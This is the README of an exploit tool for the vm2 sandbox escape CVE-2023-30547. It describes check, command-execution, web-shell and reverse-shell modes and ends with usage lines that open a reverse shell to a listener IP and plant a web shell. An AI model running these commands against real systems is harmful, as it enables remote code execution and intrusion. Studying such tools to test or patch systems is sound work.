
Tool for exploring CVE-2023-30547

vm2 est un bac à sable qui peut exécuter du code non fiable avec les modules intégrés de Node figurant sur liste blanche. Il existe une vulnérabilité dans l'assainissement des exceptions de vm2 pour les versions jusqu'à 3.9.16, permettant aux attaquants de déclencher une exception hôte non assainie à l'intérieur de handleException() qui peut être utilisée pour s'échapper du bac à sable et exécuter du code arbitraire dans le contexte hôte.
Cet outil est un simple script Python qui peut être utilisé pour explorer la vulnérabilité. Il a 4 modes :
check: vérifie si la cible est vulnérable.command_execution_execution: exécute une commande sur la cible.web_shell: ouvre un shell web sur la cible.reverse_shell: ouvre un shell inversé sur la cible.usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'